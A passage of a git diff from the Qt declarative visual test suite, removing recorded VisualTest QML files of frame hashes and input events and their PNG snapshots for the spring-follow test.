msec: 2976 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2992 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 3008 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 3024 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 3040 - hash: "294d542f880356b4cbb171170c28dcd7" - } - Frame { - msec: 3056 - hash: "946b5937974e28ffd996ce132c8fad15" - } - Frame { - msec: 3072 - hash: "bb61994ff1dc36d3933084b874073832" - } - Frame { - msec: 3088 - hash: "ec337c7ae77deeb41f38adb1851720e5" - } - Frame { - msec: 3104 - hash: "7691c6c048b78e1551b46a37b6e95b16" - } - Frame { - msec: 3120 - hash: "b3116620d319ae4b681f4ca76c068b32" - } - Frame { - msec: 3136 - hash: "ed5a27e5be3dbde3867715f877da41db" - } - Frame { - msec: 3152 - hash: "8dcc220cc652f57aa8ac33364edc96a3" - } - Frame { - msec: 3168 - hash: "a7832d86283e27ee1523c4808b42fc43" - } - Frame { - msec: 3184 - hash: "fc90d18b072638f2df1bacee12fe1743" - } - Frame { - msec: 3200 - hash: "cdd7b5598155eba57783ebe1872db818" - } - Frame { - msec: 3216 - hash: "b45e32d12bbc2e56f4a3e7e473528d3e" - } - Frame { - msec: 3232 - hash: "5762a693ea6287e8987c604ef9fac361" - } - Frame { - msec: 3248 - hash: "2e46a8df5ec0c7070a374186a313f2c6" - } - Frame { - msec: 3264 - hash: "e612134417f3f901661b658801a72848" - } - Frame { - msec: 3280 - hash: "5de468fac915894ef34f3fee1c637e01" - } - Frame { - msec: 3296 - hash: "e29c8713573e49fc98387311d80c7510" - } - Frame { - msec: 3312 - hash: "6fce67b704f613e6fd9181ccb9ee237f" - } - Frame { - msec: 3328 - hash: "bf499add3d91d751ffa1cce28bece380" - } - Frame { - msec: 3344 - hash: "7d50cad7b18a4a37be6aac7796014195" - } - Frame { - msec: 3360 - hash: "6695208c8d39373ff0846c821c819cb2" - } - Frame { - msec: 3376 - hash: "0140ec2286b0fb94340d2dd6d418f539" - } - Frame { - msec: 3392 - hash: "9f92a99737aa6a7da48af7e7a4ed7a6a" - } - Frame { - msec: 3408 - hash: "8e593e8192d17d07c2265d6fa840f281" - } - Frame { - msec: 3424 - hash: "ea70e72eb12d5595d9bf0d9cc77efd4d" - } - Frame { - msec: 3440 - hash: "faeeb9e6e6a260a266ac8965f204b542" - } - Frame { - msec: 3456 - hash: "d50987082d056997a8e7fe5940cb7968" - } - Frame { - msec: 3472 - hash: "44089138e01bfee916306ae66ba43e9f" - } - Frame { - msec: 3488 - hash: "60256356ca6fe8bd323ef36bc149a3ea" - } - Frame { - msec: 3504 - hash: "6caae71d6bd897d755aeb22f10862171" - } - Frame { - msec: 3520 - hash: "8ba18bf5df010718f83d6bb25aa1858b" - } - Frame { - msec: 3536 - hash: "a903996370fb7efcaf295f00b9b4c4b6" - } - Frame { - msec: 3552 - hash: "cc0b736c8b4d46d3d809dcfe82068c88" - } - Frame { - msec: 3568 - hash: "037b2f65d162d44c39706d322cd6b6e5" - } - Frame { - msec: 3584 - hash: "92c2b4f346329ffbcae07db74332ebbe" - } - Frame { - msec: 3600 - hash: "3f9b2b5aade31333568a7cccf89e3176" - } - Frame { - msec: 3616 - hash: "b40f9cce4cddf9fa5245276a105a3e0d" - } - Frame { - msec: 3632 - hash: "74eb3e8a282693bd6bc92f381e380d61" - } - Frame { - msec: 3648 - hash: "43d85dd9e0de49c639db0d91047c88bb" - } - Frame { - msec: 3664 - hash: "563a07f4aa618252933e0356cc300bba" - } - Frame { - msec: 3680 - hash: "73d1e5745154996fd245a91a831d5462" - } - Frame { - msec: 3696 - hash: "7b2785b605c64135ea6914ad8388eb8f" - } - Frame { - msec: 3712 - hash: "b2d989af972715a86ca374753d32f757" - } - Frame { - msec: 3728 - hash: "96311aac52bc9167a7350af29741f3dc" - } - Frame { - msec: 3744 - hash: "56e4b98816896f7353dddeac090f70d1" - } - Frame { - msec: 3760 - hash: "7bd8ac36107e9e5db39e1aa37f2c5ca8" - } - Frame { - msec: 3776 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3792 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3808 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3824 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3840 - image: "clock.3.png" - } - Frame { - msec: 3856 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3872 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3888 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3904 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3920 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3936 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3952 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3968 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 3984 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 4000 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 4016 - hash: "b9545df89c8bec940678b65d5ef9ce04" - } - Frame { - msec: 4032 - hash: "df3a1204f6243673d567724d27d07a9e" - } - Frame { - msec: 4048 - hash: "7d0d3e92cb61d868d062bdf173924a4d" - } - Frame { - msec: 4064 - hash: "29948b5d7807a6ed0076a9637ec3eb79" - } - Frame { - msec: 4080 - hash: "2986b5e0a4a49bbe9f4ffada30433a48" - } - Frame { - msec: 4096 - hash: "0d9e3813141a1ee15474380902d87815" - } - Frame { - msec: 4112 - hash: "c5197a932430d498b7344c1f37454320" - } - Frame { - msec: 4128 - hash: "c8ef8acf314486c157e74bdd2695ddb2" - } - Frame { - msec: 4144 - hash: "adeb73de4b967912a9f2b04ba2b6fe4c" - } - Frame { - msec: 4160 - hash: "da5fddd1e4ab8c096af0acc62114d69f" - } - Frame { - msec: 4176 - hash: "5ef0784315603da196e66b4628524c5c" - } - Frame { - msec: 4192 - hash: "1ff2a89c510953d71198056f5ac5b1a6" - } - Frame { - msec: 4208 - hash: "f63d409e134e59b875099ab11b469d21" - } - Frame { - msec: 4224 - hash: "e353748e0b0c49a217d6e2d06a9bfeb6" - } - Frame { - msec: 4240 - hash: "a9d7470902a232d815bd2580e24fdc22" - } - Frame { - msec: 4256 - hash: "eecbad718aa4eaf5bef7cd921b2ce9f9" - } - Frame { - msec: 4272 - hash: "7a51cadbfb93eb4a66acc9cb150002ed" - } - Frame { - msec: 4288 - hash: "2aa511fb96a51a50e3a45b784e349c15" - } - Frame { - msec: 4304 - hash: "a1ad19593dc6b9f4c027f388e802dcbe" - } - Frame { - msec: 4320 - hash: "ef6787f03bc1e33ea5f2a54aa1ba3a41" - } - Frame { - msec: 4336 - hash: "3386337bbc1ab82374d9965b7b0ffdef" - } - Frame { - msec: 4352 - hash: "c76afb4f412b4d5dd8eca74db6c54fb8" - } - Frame { - msec: 4368 - hash: "f91ac74ec153152670d43f42b1e2a2db" - } - Frame { - msec: 4384 - hash: "58f22723fa0c67379972238e0e7ed5e2" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4400 - hash: "a4730b0a8d6e0dd9e7eb58b51fb631ec" - } - Frame { - msec: 4416 - hash: "193bf624efefcad70af29f41eeab128e" - } - Frame { - msec: 4432 - hash: "d692f262facf26c2be2b0f747903d476" - } - Frame { - msec: 4448 - hash: "e59e43b5d4abebea0a55b1d072d148bc" - } - Frame { - msec: 4464 - hash: "134ff829e91161146b5f048a50c7eef7" - } - Frame { - msec: 4480 - hash: "07a80e45e70cb13f45e3858404c5f8dd" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.0.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.0.png deleted file mode 100644 index 3f42e75..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.1.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.1.png deleted file mode 100644 index d661df6..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.10.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.10.png deleted file mode 100644 index e8c96e1..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.10.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.2.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.2.png deleted file mode 100644 index 35bfa43..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.3.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.3.png deleted file mode 100644 index 74141cf..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.4.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.4.png deleted file mode 100644 index 9544054..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.5.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.5.png deleted file mode 100644 index 4b02c79..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.6.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.6.png deleted file mode 100644 index 8ea8345..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.7.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.7.png deleted file mode 100644 index 76a73e8..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.8.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.8.png deleted file mode 100644 index 8824940..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.9.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.9.png deleted file mode 100644 index f954cc5..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.qml deleted file mode 100644 index fec5428..0000000 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.qml +++ /dev/null @@ -1,1763 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "3561ebf22b19c7bd5a70947d36b50b63" - } - Frame { - msec: 32 - hash: "3561ebf22b19c7bd5a70947d36b50b63" - } - Frame { - msec: 48 - hash: "bd0006fc34f58ec1ea6aa4c4acbb0070" - } - Frame { - msec: 64 - hash: "c25f9fb6aea93413bfef5eb176c02476" - } - Frame { - msec: 80 - hash: "4ce0eb12fb41960e60e208dffb09ed3a" - } - Frame { - msec: 96 - hash: "75b3375881969710b6eb21f2a93c36cc" - } - Frame { - msec: 112 - hash: "91e9b13e332959e41a29c0b225675a05" - } - Frame { - msec: 128 - hash: "8e04a31a953b42903dffe86b37b3f59f" - } - Frame { - msec: 144 - hash: "837e0e646a2853d3fde571f9dd966fc7" - } - Frame { - msec: 160 - hash: "7367e25ae1e3a3731d83da76d5795f8c" - } - Frame { - msec: 176 - hash: "3621846fb85b286a886a02de442e76c4" - } - Frame { - msec: 192 - hash: "ed20a4c3476b8bb5545d5343747c39c8" - } - Frame { - msec: 208 - hash: "1fc73efb410e9beb3f791cbff8e814b3" - } - Frame { - msec: 224 - hash: "199c99a4e3aa14fbc8c8a0d8baacf998" - } - Frame { - msec: 240 - hash: "513ce5a2f57e40002a26b7722c8a10db" - } - Frame { - msec: 256 - hash: "b80b51cd4e75bdc799bbe79e66b7d02b" - } - Frame { - msec: 272 - hash: "e1531b6c5b3ac872563fdfaf49d32a27" - } - Frame { - msec: 288 - hash: "6d7cfd78ebd56ae6adfc97aad5d11b13" - } - Frame { - msec: 304 - hash: "4252ebb2fba165e39f025f631e0a676a" - } - Frame { - msec: 320 - hash: "04d6ae51415b083bbb0eabd1b0304ca4" - } - Frame { - msec: 336 - hash: "750df1f1626c8b84dd72a35bf081fe00" - } - Frame { - msec: 352 - hash: "003d7a846e09ba23ee8a7ae6d473be9f" - } - Frame { - msec: 368 - hash: "5cf3abdbb9a5b8cba6a8afe8abb60ced" - } - Frame { - msec: 384 - hash: "0669f86043a0c84d0b4672cc5c1136b4" - } - Frame { - msec: 400 - hash: "94f59435fe4f3ca06699c996b537ae8c" - } - Frame { - msec: 416 - hash: "211c8ec42a6d6949253af71c6eeffa53" - } - Frame { - msec: 432 - hash: "6de6c6d1b4a37a864b96c0293be8ebf5" - } - Frame { - msec: 448 - hash: "468d67d069eaac1968a6ad52e56f3ab5" - } - Frame { - msec: 464 - hash: "18d8de7a5c73d8c8188e6ae00a701820" - } - Frame { - msec: 480 - hash: "4387c724ed49bfbbca238bf57a704a14" - } - Frame { - msec: 496 - hash: "f317c59f65c7266765333048d8545748" - } - Frame { - msec: 512 - hash: "6575d40c2f27f110443a2ede8a873c77" - } - Frame { - msec: 528 - hash: "3e65cb675124dbd9db5116fa7584e223" - } - Frame { - msec: 544 - hash: "df80612a74b33eca81db6f43aa33e411" - } - Frame { - msec: 560 - hash: "6b2bc20397f3fb452ea14d81e9efd61d" - } - Frame { - msec: 576 - hash: "e5b8a2476487f6cd9fd37e3b3f54f88d" - } - Frame { - msec: 592 - hash: "e93f8156e2dc278a5e20d9e28b48d9fa" - } - Frame { - msec: 608 - hash: "e524d5117888b0b68781ffaf1a3e7303" - } - Frame { - msec: 624 - hash: "f3b777409534d87c59e60499fd6a3808" - } - Frame { - msec: 640 - hash: "09d1fa8f1306eb6f51db97d04c2d7ad3" - } - Frame { - msec: 656 - hash: "acebdcebe6880c8b3b94ad7606181b72" - } - Frame { - msec: 672 - hash: "347945a94002cd44d7a2df47f82940a1" - } - Frame { - msec: 688 - hash: "c716014d63ff2a22cab04dadc18b10c1" - } - Frame { - msec: 704 - hash: "ced019e3f8b5ca079582d01f1f585a8e" - } - Frame { - msec: 720 - hash: "d61d31de835ea8d1ffa56fd04c873ac1" - } - Frame { - msec: 736 - hash: "2eec542c5af4c6eecc153cc0fcae7dd3" - } - Frame { - msec: 752 - hash: "c13b9443e1c000a2877e4586428da308" - } - Frame { - msec: 768 - hash: "c5c2e30b3dc3298afc201f6045e79e59" - } - Frame { - msec: 784 - hash: "308f2ca66133d37c2fcb222e68698d25" - } - Frame { - msec: 800 - hash: "bf820215986a35b56daf07c164fd2a79" - } - Frame { - msec: 816 - hash: "a0bb21475100fb25b767d055d70b062f" - } - Frame { - msec: 832 - hash: "bfb0927bcb23689820b0f96ea56426fc" - } - Frame { - msec: 848 - hash: "8f294742ca9dd6ab10689f1f4ec2ed96" - } - Frame { - msec: 864 - hash: "f60c232307570fb4ec6e74f18e243553" - } - Frame { - msec: 880 - hash: "7411970ab72d8b2dbf48ee8d4e6503b3" - } - Frame { - msec: 896 - hash: "d4d766038daeae2fbec290204ca3983b" - } - Frame { - msec: 912 - hash: "f85525c3fd784ee7f9a3d9465e37d6f3" - } - Frame { - msec: 928 - hash: "c5e63da86ddbd2a54c7cd3d03e5428a2" - } - Frame { - msec: 944 - hash: "369a7405b1717ddf06c99ab1dd6d4cb0" - } - Frame { - msec: 960 - image: "follow.0.png" - } - Frame { - msec: 976 - hash: "18d5c4378f9daf63bf4cb76d76374548" - } - Frame { - msec: 992 - hash: "f36e649db2e1ec9fbe15e7711ea13ab5" - } - Frame { - msec: 1008 - hash: "f68515607dca1bda14b6afa6e05ebb6b" - } - Frame { - msec: 1024 - hash: "bc5cc4c9050a5bd4c64debd12643fd73" - } - Frame { - msec: 1040 - hash: "f053a18bca4d8c47a0f181fad8118e9a" - } - Frame { - msec: 1056 - hash: "9a2218f51faed4fa891c507fe6828d2c" - } - Frame { - msec: 1072 - hash: "ce671ff4dd1f343243f2fcc263d137f4" - } - Frame { - msec: 1088 - hash: "8624f8d814094ad25a1482a11f424990" - } - Frame { - msec: 1104 - hash: "324dad940b3adb54491d6cdd4e7d8aa7" - } - Frame { - msec: 1120 - hash: "0cd7c53ec5b591053de6769967b8bad5" - } - Frame { - msec: 1136 - hash: "e9e8f5e9c2dc179498943d0b5912af09" - } - Frame { - msec: 1152 - hash: "5f1552ccd61f09335a88658ee1c4e97e" - } - Frame { - msec: 1168 - hash: "866e01eed7e26dd1bd9af8aaddf4d7c0" - } - Frame { - msec: 1184 - hash: "2efba3c33c4c7b6d89ce7efca2dc516a" - } - Frame { - msec: 1200 - hash: "2de9d8a2ad64d2491b3444712be032dc" - } - Frame { - msec: 1216 - hash: "84206972322eae033d05f71b178180c9" - } - Frame { - msec: 1232 - hash: "8571d11da1a893edcbe5add1a9399d7a" - } - Frame { - msec: 1248 - hash: "c0d65ecefa77ee7cb1c08a560e3ad572" - } - Frame { - msec: 1264 - hash: "0f8a8523969713771a6c7984069b15e4" - } - Frame { - msec: 1280 - hash: "2e80e4b54538b7b586f4a3be55eb6da3" - } - Frame { - msec: 1296 - hash: "ae028381f311a60946ecd26eab95bb42" - } - Frame { - msec: 1312 - hash: "ac5902d58bc116a002c093f55cf20278" - } - Frame { - msec: 1328 - hash: "242f8617718048cfab9950b812eb1b26" - } - Frame { - msec: 1344 - hash: "b642f2f0d3161f80a702b09a910c589b" - } - Frame { - msec: 1360 - hash: "d1508034ecd908120c6f58cf08360c3c" - } - Frame { - msec: 1376 - hash: "ad10a5ea8598616f2ffa633eecfbd43a" - } - Frame { - msec: 1392 - hash: "1d2c3cfaac1cca868f31872bf4248de8" - } - Frame { - msec: 1408 - hash: "28da57a6aec84318ff6aa029ac17f1dd" - } - Frame { - msec: 1424 - hash: "6f9bf89843d5e40f6c282e69337e7d25" - } - Frame { - msec: 1440 - hash: "1c5733ad9620805127372fb76f5b0228" - } - Frame { - msec: 1456 - hash: "16f21041e9e475a37c478cf38cdc353b" - } - Frame { - msec: 1472 - hash: "b39ea2e8a1991b3ea5be818a284ff69f" - } - Frame { - msec: 1488 - hash: "4f5bdc935080707525a2b74936b41b2e" - } - Frame { - msec: 1504 - hash: "a39426dc761df1d2ba398aa17d220ded" - } - Frame { - msec: 1520 - hash: "2e965042273b377958b04190250d273e" - } - Frame { - msec: 1536 - hash: "51f021c1d50291b425c98dee4894b330" - } - Frame { - msec: 1552 - hash: "88fea2e6d6898084acb5897833adb182" - } - Frame { - msec: 1568 - hash: "12f55e64c8ec9825bf6c5cfd5d50d2bb" - } - Frame { - msec: 1584 - hash: "365b358eb7a678e1076774c36a82f452" - } - Frame { - msec: 1600 - hash: "a992b326739bff87bf042c711a7fa65c" - } - Frame { - msec: 1616 - hash: "083aa3c766a3b50492e51aab3ee128d0" - } - Frame { - msec: 1632 - hash: "16a2db3b3a773e2612bc57f7a7d7fbbe" - } - Frame { - msec: 1648 - hash: "32a28101a53d308b107d26a30ae7cdd9" - } - Frame { - msec: 1664 - hash: "da3908e584542ff2f73cb22369f49c1c" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 195; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1680 - hash: "8ad535bb0c5decd8c970aa36286d57e7" - } - Frame { - msec: 1696 - hash: "5bfbcab7607622486c350a9117ab0884" - } - Frame { - msec: 1712 - hash: "17e13c8bfd81081f6400d3e71daecb4c" - } - Frame { - msec: 1728 - hash: "9411a66b6c3ef9a98bc62dea282d6a51" - } - Frame { - msec: 1744 - hash: "423cded80165ee13f903460e5396526b" - } - Frame { - msec: 1760 - hash: "709cc55316e6702c1359b66c06676603" - } - Frame { - msec: 1776 - hash: "27232931c000a2edb5c3d480a6692e6b" - } - Frame { - msec: 1792 - hash: "22311fd0903b53f50df824ba345ca350" - } - Frame { - msec: 1808 - hash: "9bb066e60e7e5b3eaa0a221b8ba1a431" - } - Frame { - msec: 1824 - hash: "517000255d372d384773dff8c80f5a65" - } - Frame { - msec: 1840 - hash: "329dbd77ae53ea8e4beb669a976033a8" - } - Frame { - msec: 1856 - hash: "2acd5d3e878e1db5413270c1a50ffc83" - } - Frame { - msec: 1872 - hash: "8eb5946ac5d53dfc2813d1f1c6a2b6c5" - } - Frame { - msec: 1888 - hash: "375299e5b1067e02d5de3238a37659f2" - } - Frame { - msec: 1904 - hash: "f385c90e585db5555e873996165f55af" - } - Frame { - msec: 1920 - image: "follow.1.png" - } - Frame { - msec: 1936 - hash: "6c13bb69b6483c72463437e102a9dabb" - } - Frame { - msec: 1952 - hash: "c1b5d10688681c3b2363bb6d4173deca" - } - Frame { - msec: 1968 - hash: "b434649e4c9b2c184d2f9036f9d041bf" - } - Frame { - msec: 1984 - hash: "ca32e9f9080983803bb37b7231ed1c84" - } - Frame { - msec: 2000 - hash: "976eab47b2d6445fdd8293f2c73564c1" - } - Frame { - msec: 2016 - hash: "e63daea8f3bc79cea7a6b8dcfd31a094" - } - Frame { - msec: 2032 - hash: "626cbe5e6b79f2fd0ef57c943666b571" - } - Frame { - msec: 2048 - hash: "4e07255ce12a21966eec33c0cc623d96" - } - Frame { - msec: 2064 - hash: "94045005de77725c63c62575a6b06852" - } - Frame { - msec: 2080 - hash: "3b6dcf783c5e9fe99ce3d9ca02bceff6" - } - Frame { - msec: 2096 - hash: "e901ed7e831e2d012b97b98b3ab6fa1b" - } - Frame { - msec: 2112 - hash: "74ef03f72d032daaff13114fde02b824" - } - Frame { - msec: 2128 - hash: "9eb334d7dda3801c1fe292844040e014" - } - Frame { - msec: 2144 - hash: "82bf8fb5e3a9bf167f3f00b1f6ab3c06" - } - Frame { - msec: 2160 - hash: "df3a2bc7758d00d595347e62c7e53c4a" - } - Frame { - msec: 2176 - hash: "e77ac04a6ad9f97226b45d202a0d5196" - } - Frame { - msec: 2192 - hash: "37411333a28ea840c59cabd96fd1deba" - } - Frame { - msec: 2208 - hash: "8d1eb90ffd080bcd078b69c9635108d1" - } - Frame { - msec: 2224 - hash: "68ee5d58b2edeb6b5a64a714115e4499" - } - Frame { - msec: 2240 - hash: "003ddf0a5dd3d4bb947a34bdd22ad8c1" - } - Frame { - msec: 2256 - hash: "bf3c89d0a09ed2159a78f10124f5d7bb" - } - Frame { - msec: 2272 - hash: "6ec994f41d4540db988846416c2f7b4f" - } - Frame { - msec: 2288 - hash: "9ca7e3ca6ea26e8259d34a8c0f80f7a9" - } - Frame { - msec: 2304 - hash: "edf5cea581d46400914610213c8503ea" - } - Frame { - msec: 2320 - hash: "9b96aac3f98cd37a361788be8b81e308" - } - Frame { - msec: 2336 - hash: "5d304a8398512ebc85bebf973ed6a4f4" - } - Frame { - msec: 2352 - hash: "cf2a27a395f23f7976a48d69f5e8e120" - } - Frame { - msec: 2368 - hash: "458323a37208ea14972d8f84cebc66a5" - } - Frame { - msec: 2384 - hash: "da9c8e4d168b9cd32d5ec3f5857d2942" - } - Frame { - msec: 2400 - hash: "5d6663be8e02b0a7a4701595c9c26663" - } - Frame { - msec: 2416 - hash: "4190712a39ca07f810a6d84e15488393" - } - Frame { - msec: 2432 - hash: "26b22be0a1c2fecec1e25a6513b19484" - } - Frame { - msec: 2448 - hash: "3e623bc2b9e8cec49671571291cf6afb" - } - Frame { - msec: 2464 - hash: "3e623bc2b9e8cec49671571291cf6afb" - } - Frame { - msec: 2480 - hash: "2cb2968d16323af4659b3197d391bb91" - } - Frame { - msec: 2496 - hash: "5376b1285647950428b29e75f2e27c4f" - } - Frame { - msec: 2512 - hash: "baaacc3940c8d36f715d90e046346bed" - } - Frame { - msec: 2528 - hash: "277719afea4c119f17c34c59ef0b7984" - } - Frame { - msec: 2544 - hash: "00a172ff8afd1e8444fb84249a3af0fd" - } - Frame { - msec: 2560 - hash: "bf8a0f939a5602a0a9f5a3bc7c8d0d86" - } - Frame { - msec: 2576 - hash: "b22860751790b3113b2cb299c9f628b8" - } - Frame { - msec: 2592 - hash: "fdda1e520457974443720bd44f21d929" - } - Frame { - msec: 2608 - hash: "538af31f9463cd07163d54adc2721345" - } - Frame { - msec: 2624 - hash: "2ca50398746c8fb1c936fd412c7556b4" - } - Frame { - msec: 2640 - hash: "63cd898c3e22a29846489e5c47f455a1" - } - Frame { - msec: 2656 - hash: "1e69cc765c3f2c27c2b6e7f3e47f515a" - } - Frame { - msec: 2672 - hash: "9d7ce0df7bee9a387917ef228fd50652" - } - Frame { - msec: 2688 - hash: "afa0b735a9dd0734362b3f3f7d7177c3" - } - Frame { - msec: 2704 - hash: "91bee07133319a0adbf9a31c430e58ad" - } - Frame { - msec: 2720 - hash: "6aee88b6391e524bafc15524825ada74" - } - Frame { - msec: 2736 - hash: "655ce421faa628b3389f084fe675ad53" - } - Frame { - msec: 2752 - hash: "367fd34b54f12e896839b0ef4fb06925" - } - Frame { - msec: 2768 - hash: "0b3ac04504bfe876c4338a4dc3721280" - } - Frame { - msec: 2784 - hash: "c6cdb77888f1a3cbfe4cfec28bfad12d" - } - Frame { - msec: 2800 - hash: "ef01302544f4da4575035d3e4f2443c9" - } - Frame { - msec: 2816 - hash: "53f01d26a75f7e91d14b8975c81638d5" - } - Frame { - msec: 2832 - hash: "10fc7b3f7e5dff21edef4123d252cba0" - } - Frame { - msec: 2848 - hash: "10fc7b3f7e5dff21edef4123d252cba0" - } - Frame { - msec: 2864 - hash: "10fc7b3f7e5dff21edef4123d252cba0" - } - Frame { - msec: 2880 - image: "follow.2.png" - } - Frame { - msec: 2896 - hash: "143970d31598c017d7f24e8b09fd0f0a" - } - Frame { - msec: 2912 - hash: "fc6c38bfdcd2df7a928e83d57dc0b18d" - } - Frame { - msec: 2928 - hash: "647c09aae23ea5ec7979775d3022cacf" - } - Frame { - msec: 2944 - hash: "f1ed5cd564be1eed3242997c14a99887" - } - Frame { - msec: 2960 - hash: "aec3d7f18d6c4002229ef1d36727c4b0" - } - Frame { - msec: 2976 - hash: "3552e5a3923593a2c66ecd5e2cb2ee25" - } - Frame { - msec: 2992 - hash: "55a72327b726a3c75383cc5a28ba9503" - } - Frame { - msec: 3008 - hash: "c25ff06944f8c92006245452e07215ef" - } - Frame { - msec: 3024 - hash: "cc0187a10a7ccf087838a481f667af6e" - } - Frame { - msec: 3040 - hash: "ae9d7ff04066eb998d052c2e21b58327" - } - Frame { - msec: 3056 - hash: "91707fa1aaa267e6d1d56d173a063bde" - } - Frame { - msec: 3072 - hash: "c076a33b8afcaf915387375f065e49df" - } - Frame { - msec: 3088 - hash: "c24390ec788b5f34356e7a6507507a93" - } - Frame { - msec: 3104 - hash: "e42c9800379de3076d00802c68cc99e8" - } - Frame { - msec: 3120 - hash: "a2d3ba5353b1c967da93d96b61f7927f" - } - Frame { - msec: 3136 - hash: "fe719953aa3468d373801bb80ae93eff" - } - Frame { - msec: 3152 - hash: "e89b9bed1ebc7ebdd37d6975ecb0601c" - } - Frame { - msec: 3168 - hash: "7f3d84f49a7dd4fe39a1ba0ed7f5da3e" - } - Frame { - msec: 3184 - hash: "b16c9e05f72e7c8fa59f80422b987600" - } - Frame { - msec: 3200 - hash: "bd0606da0f7bc6c47a361462b3b2dede" - } - Frame { - msec: 3216 - hash: "88f81db6d705b745c4d2ffe470cb6966" - } - Frame { - msec: 3232 - hash: "4ac6769d3f725720bba6c125b43885cd" - } - Frame { - msec: 3248 - hash: "4ac6769d3f725720bba6c125b43885cd" - } - Frame { - msec: 3264 - hash: "4ac6769d3f725720bba6c125b43885cd" - } - Frame { - msec: 3280 - hash: "4ac6769d3f725720bba6c125b43885cd" - } - Frame { - msec: 3296 - hash: "88f81db6d705b745c4d2ffe470cb6966" - } - Frame { - msec: 3312 - hash: "88f81db6d705b745c4d2ffe470cb6966" - } - Frame { - msec: 3328 - hash: "1f112ff43280a208e967e373db8e3f34" - } - Frame { - msec: 3344 - hash: "6d966dafdfd2cf1927c14f749e24a99c" - } - Frame { - msec: 3360 - hash: "8ab4ce88e52d7cd2ec9059cdb973590d" - } - Frame { - msec: 3376 - hash: "62d877f18b8d3fcf6b076946f2ce05f7" - } - Frame { - msec: 3392 - hash: "efe3729cdeddc4bcee105b27e4062dcd" - } - Frame { - msec: 3408 - hash: "a2eb63f12d434925d0780f4992155556" - } - Frame { - msec: 3424 - hash: "5eee7ec87bb399e1395a8d337ede021b" - } - Frame { - msec: 3440 - hash: "59769ae407be01b016df8d7fbf484243" - } - Frame { - msec: 3456 - hash: "bbadb689ec5b76f76340905252b2376a" - } - Frame { - msec: 3472 - hash: "97cd4f34259ac8370e8557ef3ecf5a96" - } - Frame { - msec: 3488 - hash: "17c1513fe4c0132e15355378c6a6ee11" - } - Frame { - msec: 3504 - hash: "7b19041638fc7d1cf60512f579f388dd" - } - Frame { - msec: 3520 - hash: 